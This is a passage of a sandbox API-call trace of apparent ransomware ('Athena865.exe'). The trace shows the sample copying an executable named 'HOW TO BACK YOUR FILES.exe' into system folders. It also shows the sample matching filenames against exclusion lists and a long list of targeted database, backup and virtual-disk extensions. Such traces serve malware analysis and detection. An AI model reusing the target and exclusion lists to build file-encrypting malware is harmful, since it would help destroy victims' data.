FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0108.591] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0108.591] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0108.591] lstrcmpiW (lpString1="hr-HR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0108.591] lstrcmpiW (lpString1="hr-HR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.591] lstrcmpiW (lpString1="hr-HR", lpString2=".") returned 1 [0108.591] lstrcmpiW (lpString1="hr-HR", lpString2="..") returned 1 [0108.591] lstrcmpiW (lpString1="hr-HR", lpString2="windows") returned -1 [0108.591] lstrcmpiW (lpString1="hr-HR", lpString2="bootmgr") returned 1 [0108.591] lstrcmpiW (lpString1="hr-HR", lpString2="temp") returned -1 [0108.591] lstrcmpiW (lpString1="hr-HR", lpString2="pagefile.sys") returned -1 [0108.591] lstrcmpiW (lpString1="hr-HR", lpString2="boot") returned 1 [0108.591] lstrcmpiW (lpString1="hr-HR", lpString2="ids.txt") returned -1 [0108.591] lstrcmpiW (lpString1="hr-HR", lpString2="ntuser.dat") returned -1 [0108.591] lstrcmpiW (lpString1="hr-HR", lpString2="perflogs") returned -1 [0108.591] lstrcmpiW (lpString1="hr-HR", lpString2="MSBuild") returned -1 [0108.591] lstrlenW (lpString="hr-HR") returned 5 [0108.591] lstrcpyW (in: lpString1=0x241e8ae, lpString2="hr-HR" | out: lpString1="hr-HR") returned="hr-HR" [0108.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5476c0 [0108.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x501b28 [0108.592] lstrcatW (in: lpString1="hr-HR", lpString2="\\" | out: lpString1="hr-HR\\") returned="hr-HR\\" [0108.592] lstrcatW (in: lpString1="hr-HR\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="hr-HR\\HOW TO BACK YOUR FILES.exe") returned="hr-HR\\HOW TO BACK YOUR FILES.exe" [0108.592] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\how to back your files.exe"), bFailIfExists=1) returned 1 [0108.594] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0108.594] lstrcmpiW (lpString1="hu-HU", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0108.594] lstrcmpiW (lpString1="hu-HU", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.594] lstrcmpiW (lpString1="hu-HU", lpString2=".") returned 1 [0108.594] lstrcmpiW (lpString1="hu-HU", lpString2="..") returned 1 [0108.594] lstrcmpiW (lpString1="hu-HU", lpString2="windows") returned -1 [0108.594] lstrcmpiW (lpString1="hu-HU", lpString2="bootmgr") returned 1 [0108.594] lstrcmpiW (lpString1="hu-HU", lpString2="temp") returned -1 [0108.594] lstrcmpiW (lpString1="hu-HU", lpString2="pagefile.sys") returned -1 [0108.594] lstrcmpiW (lpString1="hu-HU", lpString2="boot") returned 1 [0108.594] lstrcmpiW (lpString1="hu-HU", lpString2="ids.txt") returned -1 [0108.594] lstrcmpiW (lpString1="hu-HU", lpString2="ntuser.dat") returned -1 [0108.594] lstrcmpiW (lpString1="hu-HU", lpString2="perflogs") returned -1 [0108.595] lstrcmpiW (lpString1="hu-HU", lpString2="MSBuild") returned -1 [0108.595] lstrlenW (lpString="hu-HU") returned 5 [0108.595] lstrcpyW (in: lpString1=0x241e8ae, lpString2="hu-HU" | out: lpString1="hu-HU") returned="hu-HU" [0108.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5476d8 [0108.595] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x502028 [0108.595] lstrcatW (in: lpString1="hu-HU", lpString2="\\" | out: lpString1="hu-HU\\") returned="hu-HU\\" [0108.595] lstrcatW (in: lpString1="hu-HU\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="hu-HU\\HOW TO BACK YOUR FILES.exe") returned="hu-HU\\HOW TO BACK YOUR FILES.exe" [0108.595] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\how to back your files.exe"), bFailIfExists=1) returned 1 [0108.597] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0108.597] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0108.597] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.597] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2=".") returned 1 [0108.597] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="..") returned 1 [0108.597] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="windows") returned -1 [0108.597] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="bootmgr") returned 1 [0108.597] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="temp") returned -1 [0108.597] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="pagefile.sys") returned -1 [0108.597] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="boot") returned 1 [0108.597] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="ids.txt") returned -1 [0108.597] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="ntuser.dat") returned -1 [0108.598] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="perflogs") returned -1 [0108.598] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="MSBuild") returned -1 [0108.598] lstrlenW (lpString="hwrcommonlm.dat") returned 15 [0108.598] lstrcpyW (in: lpString1=0x241e8ae, lpString2="hwrcommonlm.dat" | out: lpString1="hwrcommonlm.dat") returned="hwrcommonlm.dat" [0108.598] lstrlenW (lpString="hwrcommonlm.dat") returned 15 [0108.598] lstrlenW (lpString="Athena865") returned 9 [0108.598] lstrcmpiW (lpString1="monlm.dat", lpString2="Athena865") returned 1 [0108.598] lstrlenW (lpString=".dll") returned 4 [0108.598] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2=".dll") returned 1 [0108.598] lstrlenW (lpString=".lnk") returned 4 [0108.598] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2=".lnk") returned 1 [0108.598] lstrlenW (lpString=".ini") returned 4 [0108.598] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2=".ini") returned 1 [0108.598] lstrlenW (lpString=".sys") returned 4 [0108.598] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2=".sys") returned 1 [0108.598] lstrlenW (lpString="hwrcommonlm.dat") returned 15 [0108.598] lstrlenW (lpString="bak") returned 3 [0108.598] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1 [0108.598] lstrlenW (lpString="ba_") returned 3 [0108.598] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1 [0108.598] lstrlenW (lpString="dbb") returned 3 [0108.598] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1 [0108.598] lstrlenW (lpString="vmdk") returned 4 [0108.598] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1 [0108.598] lstrlenW (lpString="rar") returned 3 [0108.598] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1 [0108.598] lstrlenW (lpString="zip") returned 3 [0108.598] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1 [0108.598] lstrlenW (lpString="tgz") returned 3 [0108.598] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1 [0108.598] lstrlenW (lpString="vbox") returned 4 [0108.598] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1 [0108.599] lstrlenW (lpString="vdi") returned 3 [0108.599] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1 [0108.599] lstrlenW (lpString="vhd") returned 3 [0108.599] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1 [0108.599] lstrlenW (lpString="vhdx") returned 4 [0108.599] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1 [0108.599] lstrlenW (lpString="avhd") returned 4 [0108.599] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1 [0108.599] lstrlenW (lpString="db") returned 2 [0108.599] lstrcmpiW (lpString1="at", lpString2="db") returned -1 [0108.599] lstrlenW (lpString="db2") returned 3 [0108.599] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1 [0108.599] lstrlenW (lpString="db3") returned 3 [0108.599] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1 [0108.599] lstrlenW (lpString="dbf") returned 3 [0108.599] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1 [0108.599] lstrlenW (lpString="mdf") returned 3 [0108.599] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1 [0108.599] lstrlenW (lpString="mdb") returned 3 [0108.599] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1 [0108.599] lstrlenW (lpString="sql") returned 3 [0108.599] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1 [0108.599] lstrlenW (lpString="sqlite") returned 6 [0108.599] lstrcmpiW (lpString1="lm.dat", lpString2="sqlite") returned -1 [0108.599] lstrlenW (lpString="sqlite3") returned 7 [0108.599] lstrcmpiW (lpString1="nlm.dat", lpString2="sqlite3") returned -1 [0108.599] lstrlenW (lpString="sqlitedb") returned 8 [0108.599] lstrcmpiW (lpString1="onlm.dat", lpString2="sqlitedb") returned -1 [0108.599] lstrlenW (lpString="xml") returned 3 [0108.599] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1 [0108.599] lstrlenW (lpString="$er") returned 3 [0108.599] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1 [0108.599] lstrlenW (lpString="4dd") returned 3 [0108.600] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1 [0108.600] lstrlenW (lpString="4dl") returned 3 [0108.600] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1 [0108.600] lstrlenW (lpString="^^^") returned 3 [0108.600] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1 [0108.600] lstrlenW (lpString="abs") returned 3 [0108.600] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1 [0108.600] lstrlenW (lpString="abx") returned 3 [0108.600] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1 [0108.600] lstrlenW (lpString="accdb") returned 5 [0108.600] lstrcmpiW (lpString1="m.dat", lpString2="accdb") returned 1 [0108.600] lstrlenW (lpString="accdc") returned 5 [0108.600] lstrcmpiW (lpString1="m.dat", lpString2="accdc") returned 1 [0108.600] lstrlenW (lpString="accde") returned 5 [0108.600] lstrcmpiW (lpString1="m.dat", lpString2="accde") returned 1 [0108.600] lstrlenW (lpString="accdr") returned 5 [0108.600] lstrcmpiW (lpString1="m.dat", lpString2="accdr") returned 1 [0108.600] lstrlenW (lpString="accdt") returned 5 [0108.600] lstrcmpiW (lpString1="m.dat", lpString2="accdt") returned 1 [0108.600] lstrlenW (lpString="accdw") returned 5 [0108.600] lstrcmpiW (lpString1="m.dat", lpString2="accdw") returned 1 [0108.600] lstrlenW (lpString="accft") returned 5 [0108.600] lstrcmpiW (lpString1="m.dat", lpString2="accft") returned 1 [0108.600] lstrlenW (lpString="adb") returned 3 [0108.600] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0108.600] lstrlenW (lpString="adb") returned 3 [0108.600] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0108.600] lstrlenW (lpString="ade") returned 3 [0108.600] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1 [0108.600] lstrlenW (lpString="adf") returned 3 [0108.600] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1 [0108.601] lstrlenW (lpString="adn") returned 3 [0108.601] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1 [0108.601] lstrlenW (lpString="adp") returned 3 [0108.601] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1 [0108.601] lstrlenW (lpString="alf") returned 3 [0108.601] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1 [0108.601] lstrlenW (lpString="ask") returned 3 [0108.601] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1 [0108.601] lstrlenW (lpString="btr") returned 3 [0108.601] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1 [0108.601] lstrlenW (lpString="cat") returned 3 [0108.601] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1 [0108.601] lstrlenW (lpString="cdb") returned 3 [0108.601] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1 [0108.601] lstrlenW (lpString="ckp") returned 3 [0108.601] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1 [0108.601] lstrlenW (lpString="cma") returned 3 [0108.601] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1 [0108.601] lstrlenW (lpString="cpd") returned 3 [0108.601] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1 [0108.601] lstrlenW (lpString="dacpac") returned 6 [0108.601] lstrcmpiW (lpString1="lm.dat", lpString2="dacpac") returned 1 [0108.601] lstrlenW (lpString="dad") returned 3 [0108.601] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1 [0108.601] lstrlenW (lpString="dadiagrams") returned 10 [0108.601] lstrcmpiW (lpString1="mmonlm.dat", lpString2="dadiagrams") returned 1 [0108.601] lstrlenW (lpString="daschema") returned 8 [0108.601] lstrcmpiW (lpString1="onlm.dat", lpString2="daschema") returned 1 [0108.601] lstrlenW (lpString="db-journal") returned 10 [0108.601] lstrcmpiW (lpString1="mmonlm.dat", lpString2="db-journal") returned 1 [0108.601] lstrlenW (lpString="db-shm") returned 6 [0108.602] lstrcmpiW (lpString1="lm.dat", lpString2="db-shm") returned 1 [0108.602] lstrlenW (lpString="db-wal") returned 6 [0108.602] lstrcmpiW (lpString1="lm.dat", lpString2="db-wal") returned 1 [0108.602] lstrlenW (lpString="dbc") returned 3 [0108.602] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1 [0108.602] lstrlenW (lpString="dbs") returned 3 [0108.602] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1 [0108.602] lstrlenW (lpString="dbt") returned 3 [0108.602] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1 [0108.602] lstrlenW (lpString="dbv") returned 3 [0108.602] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1 [0108.602] lstrlenW (lpString="dbx") returned 3 [0108.602] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1 [0108.602] lstrlenW (lpString="dcb") returned 3 [0108.602] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1 [0108.602] lstrlenW (lpString="dct") returned 3 [0108.602] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1 [0108.602] lstrlenW (lpString="dcx") returned 3 [0108.602] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1 [0108.602] lstrlenW (lpString="ddl") returned 3 [0108.602] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1 [0108.602] lstrlenW (lpString="dlis") returned 4 [0108.602] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1 [0108.602] lstrlenW (lpString="dp1") returned 3 [0108.602] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1 [0108.602] lstrlenW (lpString="dqy") returned 3 [0108.602] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1 [0108.602] lstrlenW (lpString="dsk") returned 3 [0108.602] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1 [0108.602] lstrlenW (lpString="dsn") returned 3 [0108.602] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1 [0108.603] lstrlenW (lpString="dtsx") returned 4 [0108.603] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1 [0108.603] lstrlenW (lpString="dxl") returned 3 [0108.603] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1 [0108.603] lstrlenW (lpString="eco") returned 3 [0108.603] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1 [0108.603] lstrlenW (lpString="ecx") returned 3 [0108.603] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1 [0108.603] lstrlenW (lpString="edb") returned 3 [0108.603] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1 [0108.603] lstrlenW (lpString="epim") returned 4 [0108.603] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1 [0108.603] lstrlenW (lpString="fcd") returned 3 [0108.603] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1 [0108.603] lstrlenW (lpString="fdb") returned 3 [0108.603] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1 [0108.603] lstrlenW (lpString="fic") returned 3 [0108.603] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1 [0108.603] lstrlenW (lpString="flexolibrary") returned 12 [0108.603] lstrcmpiW (lpString1="commonlm.dat", lpString2="flexolibrary") returned -1 [0108.603] lstrlenW (lpString="fm5") returned 3 [0108.603] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1 [0108.603] lstrlenW (lpString="fmp") returned 3 [0108.603] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1 [0108.603] lstrlenW (lpString="fmp12") returned 5 [0108.603] lstrcmpiW (lpString1="m.dat", lpString2="fmp12") returned 1 [0108.603] lstrlenW (lpString="fmpsl") returned 5 [0108.603] lstrcmpiW (lpString1="m.dat", lpString2="fmpsl") returned 1 [0108.603] lstrlenW (lpString="fol") returned 3 [0108.603] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1 [0108.603] lstrlenW (lpString="fp3") returned 3 [0108.604] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1 [0108.604] lstrlenW (lpString="fp4") returned 3 [0108.604] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1 [0108.604] lstrlenW (lpString="fp5") returned 3 [0108.604] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1 [0108.604] lstrlenW (lpString="fp7") returned 3 [0108.604] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1 [0108.604] lstrlenW (lpString="fpt") returned 3 [0108.604] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1 [0108.604] lstrlenW (lpString="frm") returned 3 [0108.604] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1 [0108.604] lstrlenW (lpString="gdb") returned 3 [0108.604] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0108.604] lstrlenW (lpString="gdb") returned 3 [0108.604] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0108.604] lstrlenW (lpString="grdb") returned 4 [0108.604] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1 [0108.604] lstrlenW (lpString="gwi") returned 3 [0108.604] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1 [0108.604] lstrlenW (lpString="hdb") returned 3 [0108.604] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1 [0108.604] lstrlenW (lpString="his") returned 3 [0108.604] lstrcmpiW (lpString1="dat", lpString2="his") returned -1 [0108.604] lstrlenW (lpString="ib") returned 2 [0108.604] lstrcmpiW (lpString1="at", lpString2="ib") returned -1 [0108.604] lstrlenW (lpString="idb") returned 3 [0108.604] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1 [0108.604] lstrlenW (lpString="ihx") returned 3 [0108.604] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1 [0108.604] lstrlenW (lpString="itdb") returned 4 [0108.604] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1 [0108.605] lstrlenW (lpString="itw") returned 3 [0108.605] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1 [0108.605] lstrlenW (lpString="jet") returned 3 [0108.605] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1 [0108.605] lstrlenW (lpString="jtx") returned 3 [0108.605] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1 [0108.605] lstrlenW (lpString="kdb") returned 3 [0108.605] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1 [0108.605] lstrlenW (lpString="kexi") returned 4 [0108.605] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1 [0108.605] lstrlenW (lpString="kexic") returned 5 [0108.605] lstrcmpiW (lpString1="m.dat", lpString2="kexic") returned 1 [0108.605] lstrlenW (lpString="kexis") returned 5 [0108.605] lstrcmpiW (lpString1="m.dat", lpString2="kexis") returned 1 [0108.605] lstrlenW (lpString="lgc") returned 3 [0108.605] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1 [0108.605] lstrlenW (lpString="lwx") returned 3 [0108.605] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1 [0108.605] lstrlenW (lpString="maf") returned 3 [0108.605] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1 [0108.605] lstrlenW (lpString="maq") returned 3 [0108.605] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1 [0108.605] lstrlenW (lpString="mar") returned 3 [0108.605] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1 [0108.605] lstrlenW (lpString="marshal") returned 7 [0108.605] lstrcmpiW (lpString1="nlm.dat", lpString2="marshal") returned 1 [0108.605] lstrlenW (lpString="mas") returned 3 [0108.605] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1 [0108.605] lstrlenW (lpString="mav") returned 3 [0108.605] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1 [0108.605] lstrlenW (lpString="maw") returned 3 [0108.606] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1 [0108.606] lstrlenW (lpString="mdbhtml") returned 7 [0108.606] lstrcmpiW (lpString1="nlm.dat", lpString2="mdbhtml") returned 1 [0108.606] lstrlenW (lpString="mdn") returned 3 [0108.606] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1 [0108.606] lstrlenW (lpString="mdt") returned 3 [0108.606] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1 [0108.606] lstrlenW (lpString="mfd") returned 3 [0108.606] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1 [0108.606] lstrlenW (lpString="mpd") returned 3 [0108.606] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1 [0108.606] lstrlenW (lpString="mrg") returned 3 [0108.606] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1 [0108.606] lstrlenW (lpString="mud") returned 3 [0108.606] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1 [0108.606] lstrlenW (lpString="mwb") returned 3 [0108.606] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1 [0108.606] lstrlenW (lpString="myd") returned 3 [0108.606] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1 [0108.606] lstrlenW (lpString="ndf") returned 3 [0108.606] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1 [0108.606] lstrlenW (lpString="nnt") returned 3 [0108.606] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1 [0108.606] lstrlenW (lpString="nrmlib") returned 6 [0108.606] lstrcmpiW (lpString1="lm.dat", lpString2="nrmlib") returned -1 [0108.606] lstrlenW (lpString="ns2") returned 3 [0108.606] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1 [0108.606] lstrlenW (lpString="ns3") returned 3 [0108.606] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1 [0108.606] lstrlenW (lpString="ns4") returned 3 [0108.606] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1 [0108.607] lstrlenW (lpString="nsf") returned 3 [0108.607] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1 [0108.607] lstrlenW (lpString="nv") returned 2 [0108.607] lstrcmpiW (lpString1="at", lpString2="nv") returned -1 [0108.607] lstrlenW (lpString="nv2") returned 3 [0108.607] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1 [0108.607] lstrlenW (lpString="nwdb") returned 4 [0108.607] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1 [0108.607] lstrlenW (lpString="nyf") returned 3 [0108.607] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1 [0108.607] lstrlenW (lpString="odb") returned 3 [0108.607] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0108.607] lstrlenW (lpString="odb") returned 3 [0108.607] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0108.607] lstrlenW (lpString="oqy") returned 3 [0108.607] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1 [0108.607] lstrlenW (lpString="ora") returned 3 [0108.607] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1 [0108.607] lstrlenW (lpString="orx") returned 3 [0108.607] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1 [0108.607] lstrlenW (lpString="owc") returned 3 [0108.607] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1 [0108.607] lstrlenW (lpString="p96") returned 3 [0108.607] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1 [0108.607] lstrlenW (lpString="p97") returned 3 [0108.607] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1 [0108.607] lstrlenW (lpString="pan") returned 3 [0108.607] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1 [0108.607] lstrlenW (lpString="pdb") returned 3 [0108.607] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1 [0108.608] lstrlenW (lpString="pdm") returned 3 [0108.608] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1 [0108.608] lstrlenW (lpString="pnz") returned 3 [0108.608] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1 [0108.608] lstrlenW (lpString="qry") returned 3 [0108.608] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1 [0108.608] lstrlenW (lpString="qvd") returned 3 [0108.608] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1 [0108.608] lstrlenW (lpString="rbf") returned 3 [0108.608] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1 [0108.608] lstrlenW (lpString="rctd") returned 4 [0108.608] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1 [0108.608] lstrlenW (lpString="rod") returned 3 [0108.608] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1 [0108.608] lstrlenW (lpString="rodx") returned 4 [0108.608] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1 [0108.608] lstrlenW (lpString="rpd") returned 3 [0108.608] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1 [0108.608] lstrlenW (lpString="rsd") returned 3 [0108.608] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1 [0108.608] lstrlenW (lpString="sas7bdat") returned 8 [0108.608] lstrcmpiW (lpString1="onlm.dat", lpString2="sas7bdat") returned -1 [0108.608] lstrlenW (lpString="sbf") returned 3 [0108.608] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1 [0108.608] lstrlenW (lpString="scx") returned 3 [0108.608] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1 [0108.608] lstrlenW (lpString="sdb") returned 3 [0108.608] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1 [0108.608] lstrlenW (lpString="sdc") returned 3 [0108.608] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1 [0108.609] lstrlenW (lpString="sdf") returned 3 [0108.609] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1 [0108.609] lstrlenW (lpString="sis") returned 3 [0108.609] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1 [0108.609] lstrlenW (lpString="spq") returned 3 [0108.609] lstrcmpiW 